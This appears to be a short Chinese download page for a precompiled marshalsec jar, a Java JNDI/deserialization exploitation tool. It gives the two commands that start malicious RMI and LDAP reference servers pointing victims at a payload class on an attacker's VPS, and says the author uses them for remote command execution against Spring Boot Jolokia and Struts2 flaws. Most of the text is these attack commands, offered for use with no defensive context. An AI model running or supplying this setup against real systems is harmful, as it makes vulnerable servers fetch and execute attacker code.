marshalsec-0.0.3-SNAPSHOT-all.jar下载

Moritz Bechler编写，源码地址为：https://github.com/mbechler/marshalsec，下载下来之后使用maven编译，此工具为编译好的jar包，方便没有编译环境的同学们直接jar包开启ldap和rmi服务 开启rmi服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099 开启ldap服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/ExportObject 1389 我使用这个来测试springboot jolokia的远程命令执行，也可以测试struts2 S系列的漏洞